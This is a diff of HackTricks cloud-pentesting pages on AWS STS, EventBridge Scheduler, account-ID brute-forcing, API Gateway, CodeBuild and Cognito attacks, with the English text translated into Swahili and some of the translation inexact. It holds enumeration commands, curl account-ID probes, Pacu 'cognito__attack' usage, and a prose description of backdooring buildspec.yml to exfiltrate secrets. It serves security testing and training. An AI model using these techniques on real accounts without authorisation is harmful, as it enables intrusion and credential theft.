b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 385d55c3b..ca22a5283 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,62 +4,57 @@ ## STS -**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users). +**AWS Security Token Service (STS)** imeundwa hasa kutoa **vithibitisho vya muda mfupi, vya mamlaka ya chini**. Vithibitisho hivi vinaweza kuombwa kwa **AWS Identity and Access Management (IAM)** watumiaji au kwa watumiaji walioidhinishwa (watumiaji wa shirikisho). -Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options. +Kwa kuwa kusudi la STS ni **kutoa vithibitisho kwa ajili ya kuiga utambulisho**, huduma hii ni ya thamani kubwa kwa **kuongeza mamlaka na kudumisha uthibitisho**, ingawa huenda isiwe na chaguzi nyingi. ### Assume Role Impersonation -The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN. +Kitendo [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) kinachotolewa na AWS STS ni muhimu kwani kinamruhusu mhusika kupata vithibitisho vya mhusika mwingine, kimsingi akijifanya kuwa wao. Baada ya kuitwa, inajibu kwa kitambulisho cha ufikiaji, funguo ya siri, na tokeni ya kikao inayolingana na ARN iliyotolewa. -For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard. +Kwa Wajaribu Udukuzi au wanachama wa Timu Nyekundu, mbinu hii ni muhimu kwa kuongeza mamlaka (kama ilivyoelezwa [**hapa**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Hata hivyo, inafaa kutambua kuwa mbinu hii ni wazi sana na huenda isimshughulishe mshambuliaji kwa kushangaza. #### Assume Role Logic -In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in: - +Ili kuweza kuchukua jukumu katika akaunti hiyo hiyo ikiwa **jukumu la kuchukua linaruhusu hasa ARN ya jukumu** kama ilivyo: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::role/priv-role" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::role/priv-role" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +Jukumu **`priv-role`** katika kesi hii, **halihitaji ruhusa maalum** ili kuchukua jukumu hilo (ikiwa na ruhusa hiyo inatosha). -The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough). - -However, if a role is allowing an account to assume it, like in: - +Hata hivyo, ikiwa jukumu linaruhusu akaunti kuchukua jukumu hilo, kama katika: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +Ili kujaribu kuchukua jukumu, itahitaji **idhini maalum ya `sts:AssumeRole`** juu ya hilo jukumu **ili kulichukua**. -The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**. - -If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN). +Ikiwa unajaribu kuchukua **jukumu** **kutoka kwa akaunti tofauti**, **jukumu lililochukuliwa lazima liruhusu** (kuashiria **ARN** ya jukumu au **akaunti ya nje**), na **jukumu linalojaribu kuchukua** jingine **Lazima** liwe na **idhini za kulichukua** (katika kesi hii hii si hiari hata kama jukumu lililochukuliwa linaashiria ARN). ### Enumeration - ```bash # Get basic info of the creds aws sts get-caller-identity @@ -72,10 +67,9 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` - ### Privesc -In the following page you can check how to **abuse STS permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za STS ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md @@ -98,7 +92,3 @@ In the following page you can check how to **abuse STS permissions to escalate p - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index a2f2e0c2f..86a4d152a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,49 +6,48 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets. +**Amazon EventBridge Scheduler** ni mpangilio wa **serverless ulio na usimamizi kamili, ulioandaliwa kuunda, kuendesha, na kusimamia kazi** kwa kiwango kikubwa. Inakuwezesha kupanga mamilioni ya kazi katika zaidi ya huduma 270 za AWS na operesheni 6,000+ za API, zote kutoka huduma moja kuu. Kwa uaminifu uliojengwa na hakuna miundombinu ya kusimamia, EventBridge Scheduler inarahisisha upangaji, inapunguza gharama za matengenezo, na inapanuka kiotomatiki ili kukidhi mahitaji. Unaweza kuunda cron au viwango vya mara kwa mara kwa mipango ya kurudiwa, kuweka mwito wa mara moja, na kufafanua dirisha la usambazaji linaloweza kubadilishwa na chaguzi za kujaribu, kuhakikisha kazi zinawasilishwa kwa uaminifu kulingana na upatikanaji wa malengo ya chini. -There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed." +Kuna kikomo cha awali cha mipango 1,000,000 kwa kila eneo kwa kila akaunti. Hata ukurasa rasmi wa vikomo unashauri, "Inapendekezwa kufuta mipango ya mara moja mara tu inapokamilika." -### Types of Schedules +### Aina za Mipango -Types of Schedules in EventBridge Scheduler: +Aina za Mipango katika EventBridge Scheduler: -1. **One-time schedules** ā€“ Execute a task at a specific time, e.g., December 21st at 7 AM UTC. -2. **Rate-based schedules** ā€“ Set recurring tasks based on a frequency, e.g., every 2 hours. -3. **Cron-based schedules** ā€“ Set recurring tasks using a cron expression, e.g., every Friday at 4 PM. +1. **Mipango ya mara moja** ā€“ Tekeleza kazi kwa wakati maalum, mfano, Desemba 21 saa 7 AM UTC. +2. **Mipango ya msingi wa kiwango** ā€“ Weka kazi zinazorudiwa kulingana na mzunguko, mfano, kila masaa 2. +3. **Mipango ya msingi wa cron** ā€“ Weka kazi zinazorudiwa kwa kutumia mwelekeo wa cron, mfano, kila Ijumaa saa 4 PM. -Two Mechanisms for Handling Failed Events: +Mekanismu Mbili za Kushughulikia Matukio Yaliyo Fail: -1. **Retry Policy** ā€“ Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure. -2. **Dead-Letter Queue (DLQ)** ā€“ A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target. +1. **Sera ya Kujaribu** ā€“ Inaelezea idadi ya majaribio ya kujaribu kwa tukio lililo fail na ni muda gani kuweka bila kushughulikiwa kabla ya kulichukulia kama kushindwa. +2. **Mstari wa Barua za Kufa (DLQ)** ā€“ Mstari wa kawaida wa Amazon SQS ambapo matukio yaliyo fail yanawasilishwa baada ya majaribio kuisha. DLQs husaidia katika kutatua matatizo na mpango wako au lengo lake la chini. -### Targets +### Malengo -There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API. +Kuna aina 2 za malengo kwa mpangilio [**ya mfano (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), ambazo hutumiwa mara nyingi na AWS imeziwezesha kuwa rahisi kuunda, na [**za ulimwengu (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), ambazo zinaweza kutumika kuita API yoyote ya AWS. -**Templated targets** support the following services: +**Malengo ya mfano** yanasaidia huduma zifuatazo: - CodeBuild ā€“ StartBuild - CodePipeline ā€“ StartPipelineExecution - Amazon ECS ā€“ RunTask - - Parameters: EcsParameters +- Parameters: EcsParameters - EventBridge ā€“ PutEvents - - Parameters: EventBridgeParameters +- Parameters: EventBridgeParameters - Amazon Inspector ā€“ StartAssessmentRun - Kinesis ā€“ PutRecord - - Parameters: KinesisParameters +- Parameters: KinesisParameters - Firehose ā€“ PutRecord - Lambda ā€“ Invoke - SageMaker ā€“ StartPipelineExecution - - Parameters: SageMakerPipelineParameters +- Parameters: SageMakerPipelineParameters - Amazon SNS ā€“ Publish - Amazon SQS ā€“ SendMessage - - Parameters: SqsParameters +- Parameters: SqsParameters - Step Functions ā€“ StartExecution ### Enumeration - ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -65,10 +64,9 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` - ### Privesc -In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**: +Katika ukurasa ufuatao, unaweza kuangalia jinsi ya **kudhulumu ruhusa za eventbridge scheduler ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -79,7 +77,3 @@ In the following page, you can check how to **abuse eventbridge scheduler permis - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 0003290b4..a8b936ac8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,8 +4,8 @@ ## AWS Credentials Leaks -A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\ -Some useful **tools**: +Njia ya kawaida ya kupata ufikiaji au taarifa kuhusu akaunti ya AWS ni kwa **kutafuta leaks**. Unaweza kutafuta leaks kwa kutumia **google dorks**, kuangalia **public repos** za **organization** na **workers** wa organization katika **Github** au majukwaa mengine, kutafuta katika **credentials leaks databases**... au sehemu nyingine yoyote unadhani unaweza kupata taarifa kuhusu kampuni na miundombinu yake ya wingu.\ +Zana kadhaa muhimu: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) @@ -13,7 +13,7 @@ Some useful **tools**: ## AWS Unauthenticated Enum & Access -There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: +Kuna huduma kadhaa katika AWS ambazo zinaweza kuwekewa mipangilio ikitoa aina fulani ya ufikiaji kwa watu wote kwenye Mtandao au kwa watu zaidi ya walivyotarajia. Angalia hapa jinsi: - [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) - [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) @@ -36,23 +36,19 @@ There are several services in AWS that could be configured giving some kind of a ## Cross Account Attacks -In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. +Katika mazungumzo [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) inawasilishwa jinsi huduma fulani zinavyoruhusu akaunti yoyote ya AWS kuziingia kwa sababu **AWS services bila kubainisha accounts ID** zilikuwa zinaruhusiwa. -During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: +Wakati wa mazungumzo wanabainisha mifano kadhaa, kama vile S3 buckets **zinazoruhusu cloudtrail** (ya **akaunti yoyote ya AWS**) **kuandika ndani yao**: ![](<../../../images/image (260).png>) -Other services found vulnerable: +Huduma nyingine zilizopatikana kuwa na udhaifu: - AWS Config - Serverless repository ## Tools -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Zana ya OSINT ya multi-cloud. **Pata rasilimali za umma** katika AWS, Azure, na Google Cloud. Huduma za AWS zinazoungwa mkono: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, nk.) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 84c70ed0e..3908f6f11 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## Nambari za Akaunti -If you have a target there are ways to try to identify account IDs of accounts related to the target. +Ikiwa una lengo kuna njia za kujaribu kubaini nambari za akaunti za akaunti zinazohusiana na lengo. ### Brute-Force -You create a list of potential account IDs and aliases and check them - +Unaunda orodha ya nambari za akaunti zinazowezekana na majina na kuziangalia. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -17,16 +16,15 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` - You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. +Tafuta urls ambazo zina `.signin.aws.amazon.com` zikiwa na **alias inayohusiana na shirika**. ### Marketplace -If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. +Ikiwa muuzaji ana **instances katika soko,** unaweza kupata id ya mmiliki (account id) ya akaunti ya AWS aliyoitumia. ### Snapshots @@ -36,14 +34,10 @@ If a vendor has **instances in the marketplace,** you can get the owner id (acco ### Errors -Many AWS error messages (even access denied) will give that information. +Ujumbe mwingi wa makosa ya AWS (hata ufikiaji umekataliwa) utatoa taarifa hiyo. ## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 5a69bebe0..652273cde 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -4,23 +4,21 @@ ### API Invoke bypass -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): - +Kulingana na mazungumzo [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers zinaweza kuundwa **kwa kutumia sintaksia ya IAM** kutoa ruhusa za kuita mwisho wa API. Hii inachukuliwa [**kutoka kwenye nyaraka**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Permission", - "Action": ["execute-api:Execution-operation"], - "Resource": [ - "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" - ] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] } ``` - The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. Some examples: @@ -41,20 +39,14 @@ For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/la In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. ### Public URL template - ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` +### Pata Kitambulisho cha Akaunti kutoka kwa URL ya API Gateway ya Umma -### Get Account ID from public API Gateway URL +Kama ilivyo kwa ndoo za S3, Data Exchange na URL za Lambda gateways, inawezekana kupata kitambulisho cha akaunti ya akaunti kwa kutumia **`aws:ResourceAccount`** **Policy Condition Key** kutoka kwa URL ya API Gateway ya umma. Hii inafanywa kwa kupata kitambulisho cha akaunti moja herufi kwa wakati kwa kutumia wildcards katika sehemu ya **`aws:ResourceAccount`** ya sera.\ +Teknolojia hii pia inaruhusu kupata **maadili ya lebo** ikiwa unajua ufunguo wa lebo (kuna baadhi ya zile za kawaida zinazovutia). -Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana [**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha uhalifu huu kiotomatiki. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 0284e2514..ce4d0b5a8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kiole cha URL ya Umma ``` https://{random_id}.cloudfront.net ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index d95410a62..021695426 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -4,7 +4,7 @@ ## CodeBuild -For more info check this page: +Kwa maelezo zaidi angalia ukurasa huu: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,11 +12,11 @@ For more info check this page: ### buildspec.yml -If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**. +Ikiwa unapata ufikiaji wa kuandika juu ya hifadhi inayoshikilia faili inayoitwa **`buildspec.yml`**, unaweza **kufanya backdoor** faili hii, ambayo inaelezea **amri ambazo zitatekelezwa** ndani ya mradi wa CodeBuild na kutoa siri, kuathiri kile kinachofanywa na pia kuathiri **akidi za Credentials za CodeBuild IAM**. -Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example. +Kumbuka kwamba hata kama hakuna faili yoyote ya **`buildspec.yml`** lakini unajua Codebuild inatumika (au CI/CD tofauti) **kubadilisha baadhi ya msimbo halali** ambao utafanikishwa pia kunaweza kukuletea shell ya kinyume kwa mfano. -For some related information you could check the page about how to attack Github Actions (similar to this): +Kwa maelezo yanayohusiana unaweza kuangalia ukurasa kuhusu jinsi ya kushambulia Github Actions (sawa na hii): {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ @@ -24,16 +24,10 @@ For some related information you could check the page about how to attack Github ## Self-hosted GitHub Actions runners in AWS CodeBuild -As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: - +Kama [**ilivyosemwa katika nyaraka**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), Inawezekana kuunda **CodeBuild** ili kuendesha **Github actions zinazojihudumia** wakati mchakato unapoanzishwa ndani ya hifadhi ya Github iliyowekwa. Hii inaweza kugundulika kwa kuangalia usanidi wa mradi wa CodeBuild kwa sababu **`Aina ya Tukio`** inahitaji kuwa na: **`WORKFLOW_JOB_QUEUED`** na katika Mchakato wa Github kwa sababu itachagua **mwanariadha anayejiendesha** kama hii: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` - -This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached. +Husiano huu mpya kati ya Github Actions na AWS unaunda njia nyingine ya kuhatarisha AWS kutoka Github kwani msimbo katika Github utaendesha katika mradi wa CodeBuild wenye jukumu la IAM lililounganishwa. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 6f26f3a34..5ffb2c1b4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,49 +4,41 @@ ## Unauthenticated Cognito -Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. +Cognito ni huduma ya AWS inayowezesha waendelezaji **kutoa ufikiaji wa huduma za AWS kwa watumiaji wa programu zao**. Waendelezaji wataweza kutoa **majukumu ya IAM kwa watumiaji walioidhinishwa** katika programu yao (kuna uwezekano watu wataweza kujiandikisha) na wanaweza pia kutoa **jukumu la IAM kwa watumiaji wasioidhinishwa**. -For basic info about Cognito check: +Kwa maelezo ya msingi kuhusu Cognito angalia: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Identity Pool ID +### Kitambulisho cha Hifadhi ya Utambulisho -Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ -Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. +Hifadhi za Utambulisho zinaweza kutoa **majukumu ya IAM kwa watumiaji wasioidhinishwa** ambao wanajua tu **Kitambulisho cha Hifadhi ya Utambulisho** (ambacho ni rahisi kupata), na mshambuliaji mwenye taarifa hii anaweza kujaribu **kufikia hilo jukumu la IAM** na kulitumia vibaya.\ +Zaidi ya hayo, majukumu ya IAM yanaweza pia kutolewa kwa **watumiaji walioidhinishwa** wanaofikia Hifadhi ya Utambulisho. Ikiwa mshambuliaji anaweza **kujiandikisha kama mtumiaji** au tayari ana **ufikiaji wa mtoa huduma wa utambulisho** anayetumika katika hifadhi ya utambulisho unaweza kufikia **jukumu la IAM linalotolewa kwa watumiaji walioidhinishwa** na kutumia vibaya haki zake. -[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**Angalia jinsi ya kufanya hivyo hapa**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). -### User Pool ID +### Kitambulisho cha Hifadhi ya Watumiaji -By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Kwa default, Cognito inaruhusu **kujiandikisha kwa mtumiaji mpya**. Kuwa na uwezo wa kujiandikisha kama mtumiaji kunaweza kukupa **ufikiaji** wa **programu ya msingi** au **jukumu la ufikiaji wa IAM lililoidhinishwa la Hifadhi ya Utambulisho** inayokubali kama mtoa huduma wa utambulisho Hifadhi ya Watumiaji ya Cognito. [**Angalia jinsi ya kufanya hivyo hapa**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). -### Pacu modules for pentesting and enumeration +### Moduli za Pacu kwa pentesting na enumeration -[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli "cognito\_\_enum" na "cognito\_\_attack" ambazo zinafanya otomatiki ya kuhesabu mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia zinafanya otomatiki ya uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za hifadhi ya utambulisho zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika alama za utambulisho, nk. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya [blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). -#### Usage - -Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Matumizi +Mfano wa matumizi ya `cognito__attack` kujaribu uundaji wa mtumiaji na njia zote za privesc dhidi ya hifadhi fulani ya utambulisho na mteja wa hifadhi ya watumiaji: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Sample cognito\_\_enum matumizi ya kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya utambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS: ```bash Pacu (new:test) > run cognito__enum ``` - {{#include 